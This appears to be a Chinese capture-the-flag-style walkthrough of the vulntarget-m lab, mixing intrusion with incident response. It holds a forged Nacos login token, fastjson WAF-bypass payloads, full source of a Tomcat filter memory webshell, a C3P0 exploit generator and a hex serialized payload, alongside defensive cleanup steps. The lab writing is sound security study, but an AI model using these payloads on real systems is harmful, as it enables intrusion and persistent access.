前言

  1. 拓扑
  • 入口机为双网卡，外网可以根据自身情况，设置桥接或nat模式，内网ip固定位192.168.137.20
  • 内网机02为仅主机模式，ip固定位192.168.137.10，该ip不能变更。
  • 内网机03为仅主机模式，ip固定位192.168.137.30

三台机子的账号密码均为vulntarget，该密码仅限调试环境使用，并不是给你用来应急的，应急需要从漏洞打进去才能应急

  1. 注意事项

本次环境vulntarget-m内网靶场主要为内网渗透+应急响应设定，其中应急部分主要涉及java内存马、后门等，因为在靶标中含有多个内存马，所以您在本地使用Vmware复现该环境时，只能够通过回滚快照的方法来重置环境，不能够将环境直接重启，重启会导致内存马失效。

同样因为内存马的特殊性，可能会导致在攻防时出现一些问题，例如在注入内存马时因为路径问题、类型问题导致的覆盖、冲突等，这时可能需要多次尝试。

  1. 环境描述

某公司将自己公司的业务搬到了云上，并存在内网服务，公司运维人员主要通过远程ssh登录入口机，对服务进行日常维护和管理。

在前段时间，某国外黑客发现该公司的入口机存在漏洞，并入侵了该机器，同时可能入侵了内网系统。

运维在今日登录维护的时候，发现ssh无法登录，经过排查发现ssh密码目前已经被修改。

由于环境特殊，暂时无法通过其他的方法对机器进行重置密码，且由于业务的重要性，不能够对服务器进行重启等。

根据以上条件：

请利用先攻再应急的特殊思维方法来进行应急。

  1. 任务目标
  • 对3台机器进行应急排查，对其中可能的后门进行排查
  • 不能够重启机器（重启则判定应急失败）
  • 在你认为应急成功之后，请获取对应的flag，并对你获取的flag进行check

信息收集

扫描存活主机和端口，发现开放了22、80、7848、8848、9848、9849端口

访问80端口界面如下：

存在一个登录口，经典fastjson靶机界面

然后看7848、8848这几个端口应该就是nacos服务，直接请求8848端口是它的Web控制台如下：

web打点

Nacos Hessian 反序列化

可利用Nacos身份绕过漏洞登录后台，后台可以得到一些配置信息，如shiro key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /nacos/v1/auth/users/login HTTP/1.1
Host: 192.168.230.132:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://192.168.230.132:8848
Connection: close
Referer: http://192.168.230.132:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE2OTcyMDU2MDAifQ.TFQnTkHxhNqYlo8c2kuluaoVkEcngSzgS08vjUjJaOs

username=najcos&password=nacjos

接着尝试Nacos Hessian 反序列化漏洞利用成功

1
java -jar NacosRce.jar http://192.168.230.128:8848/nacos/ 7848 "whoami"

一、冰蝎内存马： 1、需要设置请求头x-client-data:rebeyond 2、设置Referer:https://www.google.com/ 3、路径随意 4、密码rebeyond

二、哥斯拉内存马： 1、需要设置请求头x-client-data:godzilla 2、设置Referer:https://www.google.com/ 3、路径随意 4、密码是pass 和 key

三、CMD内存马： 1、需要设置请求头x-client-data:cmd 2、设置Referer:https://www.google.com/ 3、请求头cmd:要执行的命令

这里有个问题，用冰蝎始终连不上，可能这同时注入内存马出bug了

换成哥斯拉就成功连上了

应急响应Ⅰ

线索：运维在今日登录维护的时候，发现ssh无法登录，经过排查发现ssh密码目前已经被修改。

查看passwd和shadow文件，在passwd文件中可以发现bt用户给出的用户内容格式是个不寻常的格式，通常不会在正常用户中出现（正常的用户应该包含用户名、经过加密的密码哈希值、以及其他相关的用户信息）

1
bt:adrla7IBSfTZQ:0:0:eval_to_root:/root:/bin/bash

接着我们发现异常用户bt曾经登陆过，还是个特权用户

于是删除bt用户（回显用户不存在我还以为失败了

应急成功，拿下flag1：flag{6c3742aaf26a6dea7fe9d7731de59517}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
who     查看当前登录用户（tty本地登陆  pts远程登录）
w       查看系统信息，想知道某一时刻用户的行为
uptime  查看登陆多久、多少用户，负载

1、查询特权用户特权用户(uid 为0)
awk -F: '$3==0{print $1}' /etc/passwd

2、查询可以远程登录的帐号信息
awk '/\$1|\$6/{print $1}' /etc/shadow

3、除root帐号外，其他帐号是否存在sudo权限。如非管理需要，普通帐号应删除sudo权限
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

4、禁用或删除多余及可疑的帐号
usermod -L user    禁用帐号，帐号无法登录，/etc/shadow第二栏为!开头
userdel user       删除user用户
userdel -r user    将删除user用户，并且将/home目录下的user目录一并删除

5、root的历史命令
histroy

6、打开/home各帐号目录下的.bash_history，查看普通帐号的历史命令

为历史的命令增加登录的IP地址、执行命令时间等信息：
1）保存1万条命令
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
2）在/etc/profile的文件尾部添加如下行数配置信息：
######jiagu history xianshi#########
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"
######### jiagu history xianshi ##########
3）source /etc/profile让配置生效

生成效果： 1  2018-07-10 19:45:39 192.168.204.1 root source /etc/profile

7、历史操作命令的清除：history -c
但此命令并不会清除保存在文件中的记录，因此需要手动删除.bash_profile文件中的记录。

内网渗透

代理配置搭建就忽略了~

发现第二张网卡：192.168.137.20

直接上fscan扫，发现存活IP：192.168.137.10和192.168.137.11

接着再单独扫一下这两个IP，两个均开放了22和80端口

shiro CB链 反序列化

192.168.137.11的80端口访问如下：

抓包测试可以发现请求包的 Set-Cookie 中出现 rememberMe=deleteMe，说明存在shiro框架

在前面nacos的配置文件中可以得到shiro的key

1
2
3
4
5
#权限认证
shiro:
  enabled: true
  set-login-uri: /login
  key: KduO0i+zUIMcNNJnsZwU9Q==

直接工具检测一下发现有可利用链

成功注入内存马

应急响应Ⅱ

查看passwd和shadow文件，同样发现一个可疑用户guest

接着再来查看系统日志、登录历史等信息，发现guest用户也在9.26登录过

于是删除guest用户，并且执行get_flag检测失败

接着在/home/vulntarget目录下找到可疑文件app.jar，下载下来反编译看一下即可确认就是这个文件有问题

然后利用工具arthas实现内存马热更新

首先把jar包反编译导出后，将反编译有问题的地方修改下，再把/bin/sh给改一下让它不能执行

接着分别将arthas-boot.jar和arthas-tunnel-server-3.7.1-fatjar.jar以及编译好后解压得到的UserController.class都上传到/tmp目录下，首次运行会出现如下报错：

1
2
3
4
5
java -jar arthas-boot.jar

[ERROR] Can not read arthas version from: https://arthas.aliyun.com/api/latest_version
[ERROR] Can not find Arthas under local: /root/.arthas/lib and remote repo mirror: center
[ERROR] Unable to download arthas from remote server, please download the full package according to wiki: https://github.com/alibaba/arthas

这里需要在本地去执行一下，它会将.arthas保存在用户的隐藏文件下

然后再把它打包上传，由于该靶机没有unzip，我们将其打包成tar包，在/root目录下上传并解压

1
2
tar -cvf arthas.tar .arthas
tar -xvf arthas.tar

解压后再去执行就可以成功进入Arthas工具中

最后重新转换已加载的类文件实现热更新，再反编译这个类的源代码，可以发现修改成功了

1
2
retransform /tmp/arthas/UserController.class
jad --source-only com.example.shiro550.controller.UserController

应急成功，拿下flag2：flag{4b15f4d146ef4c128064f952ba11b874}

fastjson c3p0链 二次序列化

接着来看192.168.137.10的就是前面192.168.230.128的web登录页面，探测具体版本发现被拦截了

PS: 前面拿burp的插件直接打bcel没成功应该也是被拦截了的缘故

利用Fastjson默认会去除键、值外的空格、\b、\n、\r、\f等特性，并且还会自动将键与值进行unicode与十六进制解码

在fastjson中，当解析json字符串时，它会自动解码Unicode和hex编码字符。因此我们可以尝试利用该特征来实现编码绕过。我们先来尝试将利用报错回显来判断版本号的poc进行Unicode/hex编码，可以看到这里抛出异常显示出fastjson版本号1.2.47，说明可以通过Unicode/hex编码成功绕过waf

1
2
3
4
{"@type": "java.lang.AutoCloseable"
// 编码前后
{"\u0040\u0074\u0079\u0070\u0065": "java.lang.AutoCloseable"
{"\x40\x74\x79\x70\x65":"java.lang.AutoCloseable"

或者拿yakit的插件可以检测到其版本为fastjson 1.2.47

现在已知fastjson版本1.2.47，能打的链子就是bcel、c3p0和common-io链，并且测试可知是不出网的，jndi就不适用了，于是尝试利用Unicode编码绕过来打一下bcel，payload如下，tomcat那里需要换着测试

https://github.com/Getshell/Mshell/tree/main/03-%E5%86%85%E5%AD%98%E9%A9%AC%E5%AE%9E%E6%88%98/01-Tomcat

1
2
3
4
{ "rand1": { "\u0040\u0074\u0079\u0070\u0065": "java.lang.Class", "val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource" }, "rand2": { "\u0040\u0074\u0079\u0070\u0065": "java.lang.Class", "val": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "rand3": [{ "\u0040\u0074\u0079\u0070\u0065": "org.apache.tomcat.dbcp.dbcp.BasicDataSource", "driverClassLoader": { "\u0040\u0074\u0079\u0070\u0065": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$……（内存马）" },{"$ref":"$['rand3'].connection"}] }
Tomcat 8.0以上，org.apache.tomcat.dbcp.dbcp2.BasicDataSource
Tomcat 8.0以下，org.apache.tomcat.dbcp.dbcp.BasicDataSource
common-dbcp，org.apache.commons.dbcp.BasicDataSource

但是这个应该是没tomcat打不了bcel

然后common-io链靶机应该也没有那么多依赖（估计实战中才会遇到这种，坑很多），所以就只能打c3p0链了，因此下一步探测存在的依赖，利用Character转换报错可以判断存在何种依赖

参考文章：

https://xz.aliyun.com/t/12492#toc-3

https://www.sec-in.com/article/950

https://y4tacker.github.io/2022/03/30/year/2022/3/%E6%B5%85%E8%B0%88Fastjson%E7%BB%95waf/

依赖检测项目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
org.springframework.web.bind.annotation.RequestMapping  //SpringBoot
org.apache.catalina.startup.Tomcat  //Tomcat
groovy.lang.GroovyShell  //Groovy - 1.2.80
com.mchange.v2.c3p0.DataSources  //C3P0
com.mysql.jdbc.Buffer  //mysql-jdbc-5
com.mysql.cj.api.authentication.AuthenticationProvider  //mysql-connect-6
com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8
sun.nio.cs.GBK  //JDK8
java.net.http.HttpClient  //JDK11
org.apache.ibatis.type.Alias  //Mybatis
org.apache.tomcat.dbcp.dbcp.BasicDataSource  //tomcat-dbcp-7-BCEL
org.apache.tomcat.dbcp.dbcp2.BasicDataSource //tomcat-dbcp-8及以后-BCEL
org.apache.commons.io.Charsets       // 存在commons-io,但不确定版本
org.apache.commons.io.file.Counters  //commons-io-2.7-2.8
org.aspectj.ajde.Ajde  //aspectjtools

RequestMapping本身为SpringBoot下的类，当存在该类时会报出类型转换错误，说明为SpringBoot项目

1
2
3
4
5
6
7
{
  "x": {
    "\u0040\u0074\u0079\u0070\u0065": "java.lang.Character"{
      "\u0040\u0074\u0079\u0070\u0065": "java.lang.Class",
      "val": "org.springframework.web.bind.annotation.RequestMapping"
    }
  }

通过这种方法可以验证出存在c3p0依赖

1
2
3
4
5
6
7
{
  "x": {
    "\u0040\u0074\u0079\u0070\u0065": "java.lang.Character"{
      "\u0040\u0074\u0079\u0070\u0065": "java.lang.Class",
      "val": "com.mchange.v2.c3p0.DataSources"
    }
  }

由于目标不出网，因此需要利用TemplatesImpl来加载恶意字节码。为使该恶意类能够被加载，需从AbstractTranslet类继承，并重写他的两个方法，最后将该类编译为.class文件

fastjson不出网回显利用：https://github.com/depycode/fastjson-c3p0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
package sec;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.misc.BASE64Decoder;

public class IceShell extends AbstractTranslet implements Filter {
    private final String pa = "3ad2fddfe8bad8e6";

    public IceShell() {
    }

    public void init(FilterConfig filterConfig) throws ServletException {
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest)servletRequest;
        HttpServletResponse response = (HttpServletResponse)servletResponse;
        HttpSession session = request.getSession();
        Map<String, Object> pageContext = new HashMap();
        pageContext.put("session", session);
        pageContext.put("request", request);
        pageContext.put("response", response);
        ClassLoader cl = Thread.currentThread().getContextClassLoader();
        if (request.getMethod().equals("POST")) {
            Class Lclass;
            if (cl.getClass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
                Lclass = cl.getClass().getSuperclass();
                this.RushThere(Lclass, cl, session, request, pageContext);
            } else if (cl.getClass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
                Lclass = cl.getClass().getSuperclass().getSuperclass();
                this.RushThere(Lclass, cl, session, request, pageContext);
            } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
                Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass();
                this.RushThere(Lclass, cl, session, request, pageContext);
            } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
                Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
                this.RushThere(Lclass, cl, session, request, pageContext);
            } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
                Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
                this.RushThere(Lclass, cl, session, request, pageContext);
            } else {
                Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
                this.RushThere(Lclass, cl, session, request, pageContext);
            }

            filterChain.doFilter(servletRequest, servletResponse);
        }

    }

    public void destroy() {
    }

    public void RushThere(Class Lclass, ClassLoader cl, HttpSession session, HttpServletRequest request, Map<String, Object> pageContext) {
        byte[] bytecode = Base64.getDecoder().decode("yv66vgAAADQAGgoABAAUCgAEABUHABYHABcBAAY8aW5pdD4BABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADTFU7AQABYwEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAWIBAAJbQgEAClNvdXJjZUZpbGUBAAZVLmphdmEMAAUABgwAGAAZAQABVQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQADAAQAAAAAAAIAAAAFAAYAAQAHAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAIAAAABgABAAAAAgAJAAAAFgACAAAABgAKAAsAAAAAAAYADAANAAEAAQAOAA8AAQAHAAAAPQAEAAIAAAAJKisDK763AAKwAAAAAgAIAAAABgABAAAAAwAJAAAAFgACAAAACQAKAAsAAAAAAAkAEAARAAEAAQASAAAAAgAT");

        try {
            Method define = Lclass.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
            define.setAccessible(true);
            Class uclass = null;

            try {
                uclass = cl.loadClass("U");
            } catch (ClassNotFoundException var18) {
                uclass = (Class)define.invoke(cl, bytecode, 0, bytecode.length);
            }

            Constructor constructor = uclass.getDeclaredConstructor(ClassLoader.class);
            constructor.setAccessible(true);
            Object u = constructor.newInstance(this.getClass().getClassLoader());
            Method Um = uclass.getDeclaredMethod("g", byte[].class);
            Um.setAccessible(true);
            String k = "3ad2fddfe8bad8e6";
            session.setAttribute("u", k);
            Cipher c = Cipher.getInstance("AES");
            c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
            byte[] eClassBytes = c.doFinal((new BASE64Decoder()).decodeBuffer(request.getReader().readLine()));
            Class eclass = (Class)Um.invoke(u, eClassBytes);
            Object a = eclass.newInstance();
            Method b = eclass.getDeclaredMethod("equals", Object.class);
            b.setAccessible(true);
            b.invoke(a, pageContext);
        } catch (Exception var19) {
        }

    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    static {
        try {
            String name = "AutomneGreet";
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
            Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map)Configs.get(standardContext);
            if (filterConfigs.get("AutomneGreet") == null) {
                Filter filter = new IceShell();
                FilterDef filterDef = new FilterDef();
                filterDef.setFilter(filter);
                filterDef.setFilterName("AutomneGreet");
                filterDef.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(filterDef);
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/shell");
                filterMap.setFilterName("AutomneGreet");
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(filterMap);
                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)constructor.newInstance(standardContext, filterDef);
                filterConfigs.put("AutomneGreet", filterConfig);
            }
        } catch (Exception var10) {
        }

    }
}

最终exp如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package sec;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class C3P0 {
    public static void main(String[] args) throws Exception {
        String hex2 = bytesToHex(tobyteArray(gen()));
        String FJ1247 = "{\n" +
                "    \"a\":{\n" +
                "        \"@type\":\"java.lang.Class\",\n" +
                "        \"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" +
                "    },\n" +
                "    \"b\":{\n" +
                "        \"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" +
                "        \"userOverridesAsString\":\"HexAsciiSerializedMap:" + hex2 + ";\",\n" +
                "    }\n" +
                "}\n";
        System.out.println(FJ1247);
    }
    //FastJson原生反序列化加载恶意类字节码
    public static Object gen() throws Exception {
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        byte[] bytes = Files.readAllBytes(Paths.get("E:\\CodeAudit\\project\\fastjson\\target\\classes\\sec\\IceShell.class")); // 读取其中字节即可
        setValue(templates, "_bytecodes", new byte[][]{bytes});
        setValue(templates, "_name", "1");
        setValue(templates, "_tfactory", null);

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
        setValue(bd,"val",jsonArray);

        HashMap hashMap = new HashMap();
        hashMap.put(templates,bd);
        return hashMap;
    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    //将类序列化为字节数组
    public static byte[] tobyteArray(Object o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(o);   //
        return bao.toByteArray();
    }

    //字节数组转十六进制
    public static String bytesToHex(byte[] bytes) {
        StringBuffer stringBuffer = new StringBuffer();
        for (int i = 0; i < bytes.length; i++) {
            String hex = Integer.toHexString(bytes[i] & 0xff);      //bytes[]中为带符号字节-255~+255，&0xff: 保证得到的数据在0~255之间
            if (hex.length()<2){
                stringBuffer.append("0" + hex);   //0-9 则在前面加‘0’,保证2位避免后面读取错误
            }else {
                stringBuffer.append(hex);
            }
        }
        return stringBuffer.toString();
    }
}

运行exp即可生成一段json数据：

1
2
3
4
5
6
7
8
9
10
{
    "a":{
        "\u0040\u0074\u0079\u0070\u0065":"java.lang.Class",
        "val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
    },
    "b":{
        "\u0040\u0074\u0079\u0070\u0065":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
        "userOverridesAsString":"HexAsciiSerializedMap:aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d657400124c6a6176612f6c616e672f537472696e673b4c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000001757200025b42acf317f8060854e00200007870000024e4cafebabe0000003401870a005e00cb0800cc09004b00cd0700ce0700cf0b000400d00700d10a000700cb08007e0b004900d208007a08007c0a00d300d40a00d300d50b000400d60800d70a00d800d90a002400da0a001c00db0a001c00dc0800dd0a004b00de0b00df00e00a00e100e20800e30a00e400e50800e60700e70700a30900e800e90a001c00ea0a00eb00ec0800ed0a002700ee0700ef0700f00a00e800f10a00eb00f20700f30a001c00f40a00f500ec0a001c00f60a00f500f70800f808009c0b00f900fa0800fb0a00fc00fd0700fe0a00d800ff0a003101000a00fc01010701020a003500cb0b000401030a010401050a003501060a00fc01070a001c010808010907010a08010b07010c0a003f010d0b010e010f0701100801110a001c01120800c80a001c01130a011400ec0a011401150701160b004901150701170a004b00cb0701180a004d00cb0a004d01190a004d011a0a004d011b0a0042011c07011d0a005300cb08011e0a0053011f0a0053011a09012001210a012001220a005301230a0042012407012507012607012707012801000270610100124c6a6176612f6c616e672f537472696e673b01000d436f6e7374616e7456616c75650100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301000e4c7365632f4963655368656c6c3b010004696e697401001f284c6a617661782f736572766c65742f46696c746572436f6e6669673b295601000c66696c746572436f6e66696701001c4c6a617661782f736572766c65742f46696c746572436f6e6669673b01000a457863657074696f6e73070129010008646f46696c74657201005b284c6a617661782f736572766c65742f536572766c6574526571756573743b4c6a617661782f736572766c65742f536572766c6574526573706f6e73653b4c6a617661782f736572766c65742f46696c746572436861696e3b29560100064c636c6173730100114c6a6176612f6c616e672f436c6173733b01000e736572766c65745265717565737401001e4c6a617661782f736572766c65742f536572766c6574526571756573743b01000f736572766c6574526573706f6e736501001f4c6a617661782f736572766c65742f536572766c6574526573706f6e73653b01000b66696c746572436861696e01001b4c6a617661782f736572766c65742f46696c746572436861696e3b010007726571756573740100274c6a617661782f736572766c65742f687474702f48747470536572766c6574526571756573743b010008726573706f6e73650100284c6a617661782f736572766c65742f687474702f48747470536572766c6574526573706f6e73653b01000773657373696f6e0100204c6a617661782f736572766c65742f687474702f4874747053657373696f6e3b01000b70616765436f6e7465787401000f4c6a6176612f7574696c2f4d61703b010002636c0100174c6a6176612f6c616e672f436c6173734c6f616465723b0100164c6f63616c5661726961626c65547970655461626c650100354c6a6176612f7574696c2f4d61703c4c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f4f626a6563743b3e3b01000d537461636b4d61705461626c6507011707012a07012b07012c0700ce0700cf07012d0701160700f30700e707012e01000764657374726f79010009527573685468657265010081284c6a6176612f6c616e672f436c6173733b4c6a6176612f6c616e672f436c6173734c6f616465723b4c6a617661782f736572766c65742f687474702f4874747053657373696f6e3b4c6a617661782f736572766c65742f687474702f48747470536572766c6574526571756573743b4c6a6176612f7574696c2f4d61703b295601000576617231380100224c6a6176612f6c616e672f436c6173734e6f74466f756e64457863657074696f6e3b010006646566696e6501001a4c6a6176612f6c616e672f7265666c6563742f4d6574686f643b01000675636c61737301000b636f6e7374727563746f7201001f4c6a6176612f6c616e672f7265666c6563742f436f6e7374727563746f723b010001750100124c6a6176612f6c616e672f4f626a6563743b010002556d0100016b010001630100154c6a617661782f63727970746f2f4369706865723b01000b65436c61737342797465730100025b4201000665636c617373010001610100016201000862797465636f646507012f0700ef07010a0100095369676e61747572650100a7284c6a6176612f6c616e672f436c6173733b4c6a6176612f6c616e672f436c6173734c6f616465723b4c6a617661782f736572766c65742f687474702f4874747053657373696f6e3b4c6a617661782f736572766c65742f687474702f48747470536572766c6574526571756573743b4c6a6176612f7574696c2f4d61703c4c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f4f626a6563743b3e3b29560100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b0701300100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b0100083c636c696e69743e01000666696c7465720100164c6a617661782f736572766c65742f46696c7465723b01000966696c7465724465660100314c6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724465663b01000966696c7465724d61700100314c6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724d61703b0100324c6f72672f6170616368652f636174616c696e612f636f72652f4170706c69636174696f6e46696c746572436f6e6669673b0100046e616d65010015776562617070436c6173734c6f61646572426173650100324c6f72672f6170616368652f636174616c696e612f6c6f616465722f576562617070436c6173734c6f61646572426173653b01000f7374616e64617264436f6e7465787401002a4c6f72672f6170616368652f636174616c696e612f636f72652f5374616e64617264436f6e746578743b010007436f6e666967730100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000d66696c746572436f6e6669677301000a536f7572636546696c6501000d4963655368656c6c2e6a6176610c00630064010010336164326664646665386261643865360c006000610100256a617661782f736572766c65742f687474702f48747470536572766c6574526571756573740100266a617661782f736572766c65742f687474702f48747470536572766c6574526573706f6e73650c013101320100116a6176612f7574696c2f486173684d61700c013301340701350c013601370c013801390c013a013b010004504f535407013c0c0109013d0c013e013f0c0140013f0c0141013b0100156a6176612e6c616e672e436c6173734c6f616465720c0093009407012c0c007001420701430c0144014701026479763636766741414144514147676f41424141554367414541425548414259484142634241415938615735706444344241426f6f54477068646d4576624746755a7939446247467a633078765957526c636a73705667454142454e765a4755424141394d6157356c546e5674596d5679564746696247554241424a4d62324e6862465a68636d6c68596d786c56474669624755424141523061476c7a415141445446553741514142597745414630787159585a684c327868626d63765132786863334e4d6232466b5a584937415141425a7745414653686251696c4d61